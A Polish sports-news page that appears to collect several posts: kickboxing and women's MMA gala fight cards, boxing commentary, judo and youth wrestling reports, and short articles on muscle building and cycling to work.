W pojedynku wieczoru DSF Kickboxing Challenge 12 do pierwszej obrony tytułu mistrza DSF w kategorii do 81 kilogramów przystąpi Kamil Jenel (23-5) Rywalem szalenie efektownie walczącego śląskiego kozaka, który dwa miesiące temu w wielkim stylu zdobył pas na gali DSF ELIMINATOR,, będzie lubiący sprawiać niespodzianki Rumun Mircea Eduard Andronache (15-6-1). W drugiej walce mistrzowskiej znakomity Białorusin Piotr Romankiewicz (24-4) będzie bronić swojego trofeum kategorii superciężkiej w starciu z doświadczonym Danielem Claudem Lentie (64-10-2) z Kamerunu.

Wielką gratką dla fanów sportów walki będzie również wyczekiwany debiut Daniela Omielańczuka (19-8-1 w MMA) w federacji DSF Kickboxing Challenge. Warszawski fighter wraca do korzeni po wieloletnich występach w UFC. Jego pierwszym rywalem w K-1 będzie dobrze znany polskim kibicom były brytyjski strongman Oli Thompson (17-10 w MMA, 2-0 w boksie i 1-0 w K-1), który od 2009 roku z powodzeniem rywalizuje w MMA oraz kickboxingu. 36-letni Thompson walczył już dla takich federacji jak UFC, Bellator i KSW. Teraz zapowiada, że zgotuje Omielańczukowi chłodne przywitanie w Polsce. Czy tak właśnie będzie? Przekonamy się 9 grudnia.

Na DSF Kickboxing Challenge 12 dopełni się także fascynująca trylogia pomiędzy warszawskim raperem Jerzym „Jurasem” Wrońskim (9-1) a triumfatorem turnieju DSF ELIMINATOR – Piotrem Sokołem (11-6). W dotychczasowych dwóch walkach zwyciężał Juras, ale w rewanżu na DSF Kickboxing Challenge 10 w Nowym Sączu gwiazdor hip-hopu był liczony po mocnym ciosie i pokonał krakowianina minimalnie na punkty, z czym ten drugi do dziś nie może się pogodzić. Na ringu w Restauracji Champions zawodnicy w końcu rozstrzygną ciągnący się od dawna konflikt. Kto będzie górą?

Tej samej nocy drugi pojedynek dla federacji stoczy złoty medalista World Games 2017 we Wrocławiu Dawid Kasperski (20-6-1), który pewnie zmierza po mistrzowski pas w kategorii do 86 kilogramów. Na drodze Polaka tym razem stanie bardzo mocny Francuz Mehdi Bouanane (22-7), który w czerwcu w wielkim stylu zwyciężył w prestiżowym finałowym turnieju Enfusion Reality w Tajlandii.

Karta walk DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II:

Walka nietelewizyjna (3 x 3 min)

1. Muay Thai (-67 kg) Sebastian Janiak vs Mateusz Janik

Walki rankingowe (3 x 3 min):

2. K-1 (-65 kg) Murat Azerbiev vs Aleksiej Fedoseev

3. K-1 (-81 kg) Kamil Ruta vs Dawid „Mirko” Mirkowski

4. K-1 (-75 kg) Piotr Sokół vs Jerzy „Juras” Wroński

5. K-1 (-86 kg) Dawid Kasperski vs Mehdi Buoanane

6. K-1 (+91 kg) Daniel Omielańczuk vs Oli Thompson

Co-Main Event – Walka o pas DSF Kickboxing Challenge w wadze ciężkiej (5 x 3 min):

7. K-1 (+91 kg) Piotr Romankiewicz vs Daniel Claude Lentie

Main Event – Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min):

8. K-1 (-81 kg) Kamil Jenel vs Mircea Eduard Andronache

9 grudnia w Restauracji Champions w Hotelu Marriott w Warszawie otwarcie bram dla kibiców nastąpi o godzinie 18:00. Początek gali „DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II” o godzinie 19:00. Transmisja na żywo w Canal+ Now, Player.pl oraz DSFLIVE.com (międzynarodowo). Bilety zostały wyprzedane.

Double Trouble już za niespełna tydzień w Łodzi – dwa dni, dwie gale.

Double Trouble już za niespełna tydzień w Łodzi – dwa dni, dwie gale.

Na naszej najbliższej, urodzinowej gali kobiecych sportów walki federacji Ladies Fight Night zobaczymy wojowniczki, które występowały na wielu prestiżowych galach przygotowywanych przez światowe organizacje tj. UFC, Invicta, Bellator, Glory czy KunLun.

Walki w formułach MMA i K1

Już za kika dni zelektryzują nas starcia między innymi takich wojowniczek jak Żaneta Cieśla vs Silvia La Notte (Włochy) czy Patricia Axling (Szwecja) vs. Cindy Silvestri (Francja) głównie z uwagi na ogrom ich doświadczenia w ringu.

Łódź i lokalne akcenty

Łodzianka, Katarzyna Sadura skrzyżuje rękawice ze Stephanie Egger (Szwajcaria), która znana jest również z walk w organizacji Invicta. Sadura ostatnio wygrała pojedynek w Poznaniu z bardzo doświadczoną Suvi Salmiemies (Finlandia). Liczymy na to, że w swoim rodzinnym mieście przy dużym wsparciu wiernych fanów powtórzy ten sukces.

Main Event na LFN 8

W walce wieczoru podczas LFN 8 (sobota) w formule MMA walczyć będą Carolina Jimenez znana z naszej poprzedniej gali "IRA" w Ossie z Maguy Berchel (Francja). Liczymy na wspaniałe widowisko sportowe.

Karolina Owczarz zadebiutuje na gali LFN 7!

Zaskoczeni? My nie! Już w piątek będziemy mogli podziwać debiut Karoliny Owczarz, która razem z Andrzejem Janiszem poprowadzi studio komentatorskie na gali Ladies Fight Night.

Hymn LFN w zaskakującej aranżacji tylko w Łodzi podczas gali LFN 8

Podczas gali LFN 8 atrakcją wieczoru będzie łódzki zespół Samokhin Band. Przystojni muzycy zaprezentują się w nowej odsłonie i wykonają hymn LFN z instrumentami na żywo (trąbka, saksofon, piano, perkusja, konga, gitara i bass) JAZZ vs RAP ? Sprawdźcie to!

Ceremonia Ważenia i Media Trening –  po raz pierwszy również dla kibiców!

W piątek, 15.12.2017 od godz. 13.00, pragniemy zaprosić wszystkich chętnych na ceremonię ważenia, połączoną ze spotkaniem z zawodniczkami na terenie łódzkiej Wytwórni, wejście od ulicy Łąkowej 29. Na żywo będzie można podpatrzeć gorączkę przedgalową, zrobić zdjęcie ze swoimi idolami oraz odebrać plakat z autografami.

Wejściówki

Do piątku 08.12.2017, do godz. 20.00 wszystkie zarejestrowane osoby otrzymają informację o statusie swojej wejściówki na “Double Trouble”.

Harmonogram LFN 7 – piątek 15.12.2017

17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście od strony Wytwórni, ul. Łąkowa 29.

18.30 drzwi otwarte

19.00 start gali LFN 7

Harmonogram LFN 8 – sobota 16.12.2017

17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście przez główne drzwi hotelu Hilton, ul. Łąkowa 29

18.30 drzwi otwarte

19.00 start gali LFN 8

*Bardzo prosimy o zabranie ze sobą dokumentu tożsamości, który będzie niezbędny przy odbiorze wejściówek.

Transmisja gali

Gale Ladies Fight Night "Double Trouble" LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszym fanpage'u na Facebook'u oraz www.lfn.com.pl.

15 grudnia

Lp.

formuła

czerwony narożnik

rekord

kraj

niebieski narożnik

rekord

kraj

waga

1.

K1

Sandra Drabik

(4-1-0)

Polska

Magdalena Kasprzyk

(2-1-0)

Polska

52kg

2.

MMA

Katarzyna Lubońska

(5-2-0)

Polska

 

 

 

57kg

3.

K1

Katarzyna Posiadała

(5-1-0)

Polska

Erica Bjornestrand

 

Szwecja

63,5kg

4.

MMA

Izabella Badurek

(6-3-0)

Polska

Zarah Fairn

(5-2-0)

Francja

64kg

(catchweight)

5.

K1

Joanna Walorska

(14-7-0)

Polska

Tereza Dvorakova

(25-7-0)

Czechy

60kg

6.

K1

Monika Bohn

(2-3-0)

Polska

Josefine Knutson

(2-1-0)

Szwecja

50kg (catchweight)

7.

MMA

Katarzyna Biegajło

(2-0-0)

Polska

 

 

 

57kg

8.

K1

Żaneta Cieśla

^

Polska

Silvia La Notte

(41-9-3)

Włochy

50kg (catchweight)

9.

K1

Magdalena Sormova

(4-1-0)

Czechy

Cristina Stanciu

(5-2-0)

Rumunia

52kg

 

16 grudnia

Lp.

formuła

czerwony narożnik

rekord

kraj

niebieski narożnik

rekord

kraj

waga

1.

MMA

Hanna Gujwan

(1-1-0)

Polska

Minna Grusander

(3-1-0)

Finlandia

50kg (catchweight)

2.

MMA

Weronika Zygmunt

(3-3-0)

Polska

Karolina Iverenova

(1-0-0)

Rosja

52kg

3.

K1

Natalia Leciejewska

(2-1-0)

Polska

Karolina Kubiak

(0-0-0)

Polska

48kg

4.

MMA

Barbara Nalepka

(4-2-0)

Polska

Elina Kallionidou

(5-2-0)

Grecja

57kg

5.

MMA

Sylwia Juśkiewicz

(7-5-0)

Polska

Samin Kamal Beik

(2-1-0)

Włochy

52kg

6.

K1

Patricia Axling

(27-3-0)

Szwecja

Cindy Silvestri

(26-12-1)

Francja

57kg (catchweight)

7.

MMA

Judyta Rymarzak

(0-0-0)

Polska

Marta Waliczek

(0-0-0)

Polska

57kg

8.

K1

Małgorzata Dymus

(2-2-0)

Polska

Joanna Różańska

(1-0-0)

Polska

56kg

9.

MMA

Katarzyna Sadura

(3-2-0)

Polska

Stephanie Egger

(2-1-0)

Szwajcaria

61kg

10.

MMA

Carolina Jimenez

(6-0-0)

Wenezuela

Maguy Berchel

(8-2-0)

Francja

57kg

ZAPROSZENIE: Ladies Fight Night 7 i 8 – Double Trouble

Już 15 i 16 grudnia 2017 r. niezwykłe wydarzenie na polskiej scenie sztuk walk. Federacja Ladies Fight Night na drugie urodziny przygotowała dwie gale zawodowe dzień po dniu. Największa w Europie i druga na świecie federacja kobiecych sztuk walk po raz kolejny udowadnia, że podejście do organizacji gal jak i sam pomysł na prowadzenie tego rodzaju federacji nie znają ograniczeń. Jedynym ograniczeniem włodarzy LFN jest tylko ich wyobraźnia. Zapraszamy!!!

[kod]

Czy świat stanie w miejscu?

„Ważne są dni, których jeszcze nie znamy” – śpiewał Marek Grechuta. Trudno wyrokować, co przyniesie przyszłość, ale świat boksu z niecierpliwością czeka na święto wagi ciężkiej. Wszyscy wypatrują pojedynku Deontaya Wildera z Anthony'm Joshuą. 

Z pewnościa byłaby to walka tytanów. Wszyscy o tym mówią, gdzieś w powietrzu unosi się już woń rywalizacji, ale konkretów brak. Oby ten zapowiadany hit nie został tylko odłożony na półkę.

Smakołyk pierwsza klasa

Co na papierze, to na papierze. Podpisane, a więc pewne. Gadać można różne rzeczy i nic z tego nie wychodzi. Tak to już najczęściej jest, że z dużej chmury mały deszcz. A na wielkie pojedynki trzeba czekać stosunkowo długo. Poza tym nuda i przewidywalność. Miłośnicy boksu ekscytowali się starciem Joshuy z Władimirem Kliczko. Kolejnymi triumfami przed czasem imponuje Deontay Wilder. A żeby tak usiąść i z ekscytacją obserwować walkę, to się zdarza raczej od święta.

Ślinka cieknie na samą myśl o możliwym starciu Wildera z Joshuą. Należy podkreślić „możliwym”. Na szali pojawiłyby się pasy WBC, IBF, IBO i WBA. Sportowa wartość tego starcia byłaby ogromna. Warto spojrzeć również na stronę ekonomiczną. Z pewnością Joshua i Wilder napchaliby sobie kieszenie, ale czy odnieśliby korzyść? Jeden z nich musiałby opuścić ring ze spuszczoną głową. A wrócić na szczyt nie jest łatwo. Joshua i Wilder to określony poziom, każdy wyrobił sobie markę i z tego powodu może czerpać określone profity. Pięściarze, a przede wszystkim ich promotorzy doskonale o tym wiedzą.

Warto przypomnieć, że przez długi czas wątpiono w możliwości Wildera. Dopiero walka o pas z Bermane Stivernem miała być dla niego weryfikacją. Amerykanin wygrał na punkty i stał się dumą swojego kraju, a przy okazji pierwszoplanową postacią wagi ciężkiej. Podobnie było z Joshuą. Pokonanie Charlesa Martina i zdobycie pasa IBF na nikim wrażenia nie zrobiły. Ale efektowna walka z Kliczko pokazała, że Joshua to pierwsza liga.

Byłoby gorąco

Choć pogoda nie rozpieszcza, należy liczyć, że może chociaż w boksie będzie gorąco. – Sytuacja w wadze ciężkiej stała się ciekawa, a moja walka z Joshuą sprawiłaby, że zainteresowanie byłoby jeszcze większe. Gdy weszlibyśmy do ringu, cały świat na nas by patrzył. Wszystko by się zatrzymało. Każdy chciałby zobaczyć tę walkę – powiedział Deontay Wilder.

Co istotne, należy pamiętać, że w boksie na największe walki trzeba poczekać. Czas ucieka… A hity rozczarowują. Ile trzeba było czekać na starcie Mayweathera Jr z Pacquiao? Oby Wilder i Joshua spotkali się wcześniej niż przed emeryturą.

KM

Pacut: To był przełom

Drugie miejsca prześladują Beatę Pacut (78kg). W tym roku judoczka Czarnych Bytom już trzykrotnie była o krok od triumfu w międzynarodowych zawodach. Z pewnością największym dokonaniem 21-latki jest srebro wywalczone w Taszkiencie.

Beata Pacut stopniowo przebija się na pierwszy plan. W ubiegłym roku wygrała Puchar Europy w Warszawie. Kolejnym ważnym wydarzeniem w jej karierze jest drugie miejsce w zawodach Grand Prix w Taszkiencie. Czy to zapowiedź jeszcze lepszych wyników naszej judoczki?

Udana jesień

Możemy narzekać na pogodę i zmęcznie, bo w końcu mamy jesień. Beata Pacut nie zalicza się do tego grona. W październiku 21-letnia judoczka cieszyła się z drugiego miejsca w Taszkiencie. Polka wygrała trzy walki, w finale uległa Anastasiji Turchyn. – To był mój pierwszy start na zawodach z serii Grand Prix i też pierwszy taki wynik. Bardzo się cieszę z tak udanego debiutu. Cieszy mnie nie  tylko wynik, ale także cały przebieg walk. Byłam zdeterminowana i pewna tego, co chcę osiągnąć. Był to pewien przełom, ponieważ z każdymi tak ważnymi zawodami i wynikami czuję się coraz bardziej pewna siebie – podaje FighTime.pl Beata Pacut.

Ale na tym nie koniec sukcesów 21-letniej zawodniczki. Pacut wywalczyła brązowy medal młodzieżowych mistrzostw Europy w Podgoricy. Jedyną pogromczynią Polki okazała się Niemka Anna Maria Wagner, która sięgnęła po złoto. – To był mój trzecie medal na mistrzostwach Europy. Jeden – srebrny w juniorach w Rumunii w 2014 roku, brąz na ME U23 w Bratysławie w 2015 i teraz kolejny brąz ME U23. To był mój ostatni start na młodzieżowych mistrzostwach Europy. Także cieszę się, że zakończyłam tą kategorię wiekowa z medalem i mam nadzieję na powtórki wyników w seniorach – przedstawia judoczka.

Teraz Japonia

Beata Pacut może być zadowolona ze swojej dyspozycji. W Pucharach Europy w Mińsku i Pradze oraz w Grand Prix w Taszkiencie zdobywała srebrne medale, znalazła się również w kadrze, która zdobyła wicemistrzostwo Europy i dołożyła brąz MME. Teraz przed zawodniczką pobyt w Japonii. – Już 1 grudnia wylatuję do Japonii. Lecimy do Tokio na międzynarodowy camp, na który co roku zjeżdża się bardzo dużo judokow z całego świata. Będę tam 16 dni. Będzie to mocny obóz. Można powiedzieć, że przygotowawczy przed kwalifikacjami olimpijskimi, które zaczynają się od kwietnia przyszłego roku – wyjaśnia Pacut.

Judoczka podkreśla, że cały czas musi być na najwyższych obrotach. – Niestety w judo nie ma czegoś takiego jak sezon, cały rok są turnieje  i ciężko znaleźć czas na dłuższy odpoczynek. W tym roku miałam dwutygodniową przerwę od treningów po mistrzostwach świata. Traz po Japonii będzie chwilka na odpoczynek, aby znów się przestawić organizm do czasu polskiego. No i święta, więc przede wszystkim spędzenie czasu z najbliższymi. Nie będzie to tak długa przerwa, bo zaraz na początku stycznia ruszam na kolejne zgrupowanie do Austrii – prezentuje brązowa medalistka z Podgoricy.

Fot. Beata Pacut Facebook

KM

Polacy bez blasku w Bydgoszczy

Biało-czerwoni bez medalu zakończyli zmagania w Młodzieżowych Mistrzostwach Świata w zapasach, które odbyły się w Bydgoszczy. Najlepiej zaprezentowali się zawodnicy rywalizujący w stylu klasycznym – Przemysław Piątek (59kg) i Roman Pacurkowski (66kg), którzy w swoich kategoriach zajęli piąte miejsca.

Na sześć dni Artego Arena w Bydgoszczy zamieniła się w arenę Młodzieżowych Mistrzostw Świata w zapsach. Początek dawał nadzieję na dobry występ Polaków, ale kolejne dni w wykonaniu biało-czerwonych nie napawały optymizmem.

Tylko jedno zwycięstwo wolniaków

O występach naszych pań i klasyków pisaliśmy tu. https://fightime.pl/pl/wiadomosci/medale-byly-blisko/ Warto wspomnieć, że najlepsze wyniki z całej naszej kadry zanotowali Przemysław Piątek (59kg) i Roman Pacurkowski (66kg). Obaj byli o krok od podium i ostatecznie uplasowali się na piątych miejscach. Niesmak pozostał, ale liczyliśmy, że czas przyniesie nam choć trochę radości. Ale nasze zapaśniczki nie wygrały ani jednej walki.

Pozostało liczyć na zawodników rywalizujących w stylu wolnym. Wszyscy wierzyli w dobry występ Kamila Kościółka (125kg). Wyglądało na to, że Polak jest na najlepszej drodze, aby wygrać z Aminem Taherimem. Były wicemistrz świata juniorów zaczął lepiej od Kościółka, jednak ten z czasem odrobił straty i wyszedł na prowadzenie. Do pełni szczęścia zabrakło zaledwie 25 sekund. Irańczyk sprowadził walkę do parteru, gdzie przechylił szalę zwycięstwa na swoją stronę. Równie szybko z turniejem pożegnali się Dawid Romanowicz (61kg) i Krzysztof Sadowik (86kg). Nieco dłużej trwała przygoda z mistrzostwami w przypadku Roberta Dobrodzieja (57kg). Polak przegrał z Kubańczykiem Reinerim Andreu Ortego, który sięgnął po mistrzostwo świata. Dobrodziej miał jeszcze szansę w repasażach, ale jej nie wykorzystał.

Jedyną wygraną na koncie wolniaków zapisał Marcin Majka (74kg). Zapaśnik ZTA Zgierz pokonał Kyrillosa Binenmpaouma i w 1/8 finału trafił na Yerkebulana Tileu. Kazach szybko zdobył prowadzenie, jednak Majka ambitnie walczył. Sprowadził rywala do parteru i wykonał obejście. Ćwierćfinał był blisko, ale ostatecznie to rywal walczył dalej. Dwie walki w Bydgoszczy stoczył Aleksander Wojtachnio. W repasażach Polak prowadził po pierwszej rundzie z Ty Walzem, ale nie utrzymał przewagi. Patryk Ołenczyn (65kg) i Kamil Banaszek (70kg) stoczyli tylko po jednej walce.

Udana impreza

Sportowo możemy być niezadowoleni, ale na poziomie organizacyjnym Bydgoszcz stanęła na wysokości zadania. W klimat imprezy muzycznie wszystkich wprowadził Rafał Brzozowski. A potem rozpoczęła się walka o medale. Zaplecze było przygotowana w taki sposób, aby każdy zawodnik mógł skupić się wyłącznie na rywalizacji i korzystać z komfortowych warunków.

Łącznie w Bydgoszczy wystartowało ponad 850 zapaśników, którzy stoczyli 578 walk.

Złoci medaliści MMŚ:

styl klasyczny: Masuto Kawana (59kg), Shmagi Bolkvadze (66kg), Daniel Cataraga (71kg), Faith Cengiz (75kg), Burhan Akbudak (80kg), Erik Szilvassy (85kg), Aleksandr Golovin (98kg), Sergey Semenov (130kg).

kobiety: Evin Demirhan (48kg), Moho Igarashi (53kg), Haruna Okuno (55kg), Yuzuro Kumano (58kg), Yui Sakano (60kg), Ayana Gempei (63kg), Koumba Larroque (69kg), Yasuha Matsuyuki (75kg).

styl wolny: Reineri Andreu Ortega (57kg), Rinyan Nakamura (61kg), Nachyn Kuular (65kg), Richard Lewis (70kg), Gadzhi Nabiev (74kg), Alikhan Zhabrailov (86kg), Mojtaba Goleij (97kg), Geno Petriashvili (125kg).

Fot. Zdjęcie poglądowe

KM

Medale były blisko

Przemysław Piątek (59kg) i Roman Pacurkowski (66kg) startujący w stylu klasycznym zajęli piąte miejsca w Młodzieżowych Mistrzostwach Świata w zapasach, które odbywają się w Bydgoszczy. Z kolei w zmaganiach kobiet, nasze zawodniczki nie wygrały ani jednej walki. Na placu boju pozostali jeszcze zapaśnicy rywalizujący w stylu wolnym.

Wiara tli się w sercu, choć początek rywalizacji w mistrzostwach nie był udany dla Polaków. Zmagania w Bydgoszczy są już na ostatniej prostej.

A miało być tak pięknie…

24-osobowa reprezentacja Polski stanęła na starcie Młodzieżowych Mistrzostw Świata w zapasach. Pełni nadziei, z zapałem do rywalizacji i gotowi podjąć wyzwanie. Łącznie do Bydgoszczy zjechało ponad 850 zapaśników.

Pierwszego dnia zmagań najlepszy występ z Polaków zaliczył Rafał Krajewski (styl klasyczny, 98kg), który zajął siódme miejsce. Nasz zapaśnik fantastycznie rozpoczął zmagania w Bydgoszczy. Krajewski pokonał przez przełożenie przez łopatki Romasa Fridrikasa, a następnie uporał się z Amirhosseinem Hosseinim. Chińczyk Abudourexitiem Alimujiang rozprawił się z Polakiem w ćwierćfinale, a w półfinale uległ Aleksandrowi Golovinowi, który ostatecznie sięgnął po złoto. Porażka zawodnika z Azji z reprezenantetem Rosji sprawiła, że zapaśnik SSA Legia 1926 Warszawa mógł zapomnieć o rywalizacji o medal.

Jak wypadli pozostali Polacy? Iwan Nylypiuk (75kg) zajął 13. miejsce, Patryk Boniecki (85kg) 16, z kolei Mateusz Nowak (71kg) był 22.

Drugi dzień zmagań w Bydgoszczy niósł ze sobą ogromne nadzieje. Wszystko za sprawą Romana Pacurkowskiego (66kg), który był faworytem do stanięcia na podium. Polak zaczął fantastycznie i rozłożył na łopatki dwóch rywali. W pófinale trafił na mocnego przeciwnika. Shmagi Bolkvadze to brązowy medalista olimpijski i trzeci zawodnik ubiegłorocznych mistrzostw Europy z Rygi. Pacurkowski przegrał walkę o finał przez… pasywność. Podobnie sędziowie orzekli w przypadku starcia o brąz. Polak nie krył irytacji takim werdyktem. Nieco inną drogę do walki o brąz przebył Przemysław Piątek (59kg). W 1/8 Polak przegrał z Sergiejem Emelinem, który później wywalczył srebro. Piątek poradził sobie w repasażach, gdzie wyeliminował Raona Dumoyana, ale miejsca na podium pozbawił go Sakit Guliyev.

Rafał Płowiec (130kg) uplasował się na 14. pozycji, a Piotr Duk (80kg) na 15.

Kontuzja Kozłow

Powodów do zadowolenia nie mają nasze zapaśniczki. Reprezentantki Polski nie wygrały ani jednej walki. O krok od triumfu była Agnieszka Król (60kg), która w starciu z Yuliyą Pisarenko miała rywalkę na kolanach i przeprowadziła akcję, jednak sędziowie uznali, że było już po czasie. Polka przegrała 1:3. Paula Kozłow (53kg) w starciu z Amy Fearnside doznała kontuzji i musiała pożegnać się z mistrzostwami. Dobrze układała się walka Natalii Kubaty (63kg), która prowadziła, ale Niemka Luize Manzke wygrała przez przełożenie na łopatki.

Nadzieja w wolniakach

Na placu boju pozostali zawodnicy startujący w stylu wolnym. Duże nadzieje wiązane są z występem Marcina Majki (74kg). Również Kamil Kościółek (125kg) może włączyć się do walki o medale. Nasz zawodnik to brązowy medalista tegorocznych młodzieżowych mistrzostw Europy.

KM

Jak zwiększyć masę mięśniową?

O umięśnionej, atletycznej sylwetce marzy bardzo duża część męskiej populacji. Części Panów udaje się nawet owe marzenia urzeczywistnić. Niestety, wymaga to naprawdę ogromnego zaangażowania.

Jak zwiększyć masę mięśniową?

Proces budowy masy mięśniowej opiera się na kilku elementach. Przede wszystkim, należy zadbać o:

  • dietę
  • trening
  • suplementację

Niezwykle istotny jest także prowadzony tryb życia oraz regularny rytm dobowy.

Odżywianie przy budowie masy mięśniowej
Z całą pewnością niejednokrotnie spotkali się Państwo z określeniem „dieta na masę”. Tego typu jadłospis powinien być zbilansowany pod kątem generowanego zapotrzebowania. Zależny jest zatem od podejmowanej aktywności fizycznej, rodzaju wykonywanej pracy oraz masy ciała.

Dietę na masę musi cechować regularność. Posiłki muszą być konsumowane o stałych porach, w równych odstępach czasu. Należy jeść zgodnie z zasadą „mniej, ale częściej”. Zaleca się konsumpcję nawet do siedmiu małych posiłków na dobę.

Warto również pamiętać o tym, że dieta na masę musi być pełnowartościowa i zdrowa.

Trening przy budowie masy mięśniowej
Aby doszło do wzrostu masy mięśniowej musimy zadbać również o odpowiedni trening. Zdecydowanie najefektywniejszą formą stymulacji mięśni jest trening siłowy. Jego realizację najlepiej uskuteczniać na siłowni.

Plan treningowy na masę mięśniową powinien zawierać podstawowe ćwiczenia wielostawowe. Poniżej przedstawiamy ćwiczenia bazowe dla każdej grupy mięśniowej.

  • Trening mięśni grzbietu: martwy ciąg, wiosłowanie
  • Trening mięśni nóg: przysiady, wykroki
  • Trening mięśni klatki piersiowej: wyciskanie na ławce prostej/skośnej
  • Trening mięśni naramiennych: uginanie i prostowanie ramion z obciążeniem
  • Trening mięśni brzucha: skłony w leżeniu
  • Trening mięśni obręczy barkowej: podciąganie na drążku

Pojedyncza sesja treningowa może mieć zarówno charakter ogólnorozwojowy (tzw. trening FBW – Full Body Workout), jak i absorbować tylko niektóre grupy mięśniowe (tzw. trening SPLIT – łączony).

Zaleca się trenować 3-4 razy w tygodniu, przy objętości nie większej niż 6-8 ćwiczeń. Łączny czas treningu nie powinien przekraczać 90 minut.

Suplementacja przy budowie masy mięśniowej
Istotną rolę w procesach rozbudowy włókien mięśniowych pełnią suplementy diety. Stosowanie preparatów takich jak: kreatyna, aminokwasy, gainery, boostery energetyczne czy l-karnityna pomaga zwiększyć efektywność treningu i diety na masę.

Należy mieć jednak na uwadze, że stosowanie suplementów diety nie stanowi alternatywy dla jadłospisu, czy treningu. Jest to tylko i wyłącznie dodatek. Zresztą całkiem skuteczny dodatek. Niektóre suplementy potrafią poprawić tempo budowy masy mięśniowej o nawet kilkanaście procent.

Jeśli chcesz dowiedzieć się więcej o procesach budowy masy mięśniowej, koniecznie odwiedź przyrostmasy.pl.

BAL MISTRZÓW KICKBOXINGU – 13 stycznia 2018

13 stycznia w Węgrowie odbędzie się "Bal Mistrzów Kickboxingu" podczas którego wręczone zostaną nagrody i wyróżnienia dla zawodników, trenerów, działaczy, sponsorów oraz klubów za sukcesy i pracę włożoną w rozwój naszej dyscypliny w 2017 roku.

Imprezę poprowadzi red. Bogdan Saternus. Po części oficjalnej odbędzie się bal noworoczny, szczegóły wkrótce.

Transmisja z Balu Mistrzów Kickboxingu na antenie telewizji FighTime.

Dojazd rowerem do pracy – tak czy nie?

Czy opłaca się jeździć rowerem do pracy? Zalety dojazdów jednośladem przypominają nam się, kiedy codziennie rano stoimy w korku w zatłoczonym autobusie, tramwaju czy samochodzie; kiedy tankujemy na stacji benzynowej czy mamy zadyszkę po krótkim biegu do publicznego środka komunikacji, która niby trwa tylko chwilę, a wydaje się śmiertelna. Wtedy żałujemy, że nie jeździmy codziennie do pracy rowerem.

I zaoszczędzilibyśmy, i nie tracilibyśmy czasu w miejskich korkach, i poprawilibyśmy swoją kondycję – zauważa autor bloga jaki-rower.pl. Chociaż to trzy najważniejsze zalety dojazdów rowerem do pracy, istnieją także minusy tego przemieszczania się. Zwłaszcza kiedy ścieżka rowerowa urywa się nagle w najmniej optymalnym miejscu, na zewnątrz zaczyna lać jak z cebra, a ponadto masz wrażenie, że przez noc na Twojej trasie pojawiły się nowe dziury w asfalcie. Czy zatem dojazd rowerem do pracy ma same superlatywy, czy jednak ma też wady, o których mówi się mniej?

Zalety dojazdów rowerem do pracy – minimalizujesz skutki siedzenia

Wiele osób ma współcześnie pracę biurową, polegającą w głównej mierze na siedzeniu przed komputerem przez kilka godzin. Nie każdy pamięta o chociażby 5-minutowych przerwach na krótkie rozruszanie się – ani tym bardziej o prawidłowej pozycji do siedzenia i pracy przed monitorem. W efekcie – sami sobie wyrządzamy wady postawy. Ponadto tryb siedzący życia ma negatywny wpływ na nasze zdrowie. Codziennymi dojazdami do pracy minimalizujesz jego skutki, nawet jeżeli sam dojazd trwa ok. 15-30 minut – policz sobie, ile wyjdzie Ci aktywnych godzin w miesiącu. W porównaniu do zera to imponująca liczba, prawda?

Wady dojazdów rowerem do pracy – kiedy nie masz siły się ruszyć

Skutki fizyczne pracy odczuwają osoby pracujące fizycznie – dźwigające ciężkie towary, obsługujące klientów w kasach marketowych, pracujące na budowach, remontujące mieszkania i budynki, prowadzące kilka godzin treningów dziennie w klubach fitness itp. Po takiej pracy czasami jedyne, na co masz ochotę, to po prostu usiąść i odpocząć. W takim wypadku u Ciebie sprawdzą się lepiej weekendowe wycieczki rowerowe czy relaksujące przejażdżki po pracy wśród zieleni, kiedy będziesz mieć na takie ochotę.

Zalety jazdy rowerem do pracy – pracujesz nad kondycją

Codzienne dojazdy rowerem do pracy to nie tylko minimalizowanie skutków siedzenia, ale też praca nad kondycją. Nawet 15-minutowy trening jest lepszy niż żaden – co prawda dojazd na rowerze do pracy to nie intensywne interwały czy jazda górska z dozą adrenaliny, ale na dobry dzień wytworzysz endorfiny i rozbudzisz się o poranku. Oczywiście można jechać do pracy szybko – ale po co się tak bardzo spieszyć, zwłaszcza kiedy na miejscu nie możesz wziąć prysznicu? Wystarczy wyjechać odpowiednio wcześnie, aby nie gnać na złamanie karku i nie powitać współpracowników zmęczoną, spoconą twarzą.

Dzięki dojazdom do pracy na rowerze oszczędzasz

Normalny bilet na komunikację miejską kosztuje, podobnie jak paliwo. Ponadto do samochodu możesz doliczyć sobie jego obowiązkowe ubezpieczenie, naprawy, przeglądy, wymianę opon, kupowanie akcesoriów itp. Oczywiście rower nie oznacza, że powinieneś całkiem zrezygnować z posiadania samochodu – ale znacznie ograniczając jego użytkowanie na co dzień dużo oszczędzasz – przede wszystkim na paliwie. Jeżeli ktoś nie potrafi sobie wyobrazić, że dzięki jeździe na rowerze osiąga lepszą kondycję i pracuje na swoje zdrowie, bardziej materialny argument – widoczny od razu na koncie bankowym czy w portfelu – powinien go przekonać.

Wady dojazdu do pracy na rowerze – “Nie mogę dojechać spocony/-a!”

Argument o braku prysznicu w pracy lub braku czasu na niego po dojechaniu jest jednym z najczęściej spotykanych. Sęk w tym, że jazda na rowerze nie jest jednoznacznie związana z mało estetycznym wyglądem po dojechaniu do pracy.

Po pierwsze – wystarczy wyjechać odpowiednio wcześnie, aby się nie spieszyć. Jeżeli jedziesz stosunkowo wolno, podczas takiej przejażdżki nie obleją Cię poty. Kiedy idziesz szybkim marszem do pracy, nie narzekasz po dojściu do miejsca, że nie możesz wziąć prysznicu, prawda?

Po drugie – na czas jazdy warto założyć termoaktywne ubranie, które doskonale pozwala skórze oddychać i odparowuje pot na zewnątrz. Komfort jazdy na rowerze w termoaktywnym ubraniu w porównaniu do bawełnianych ubrań czy z innych materiałów jest nieporównywalny.

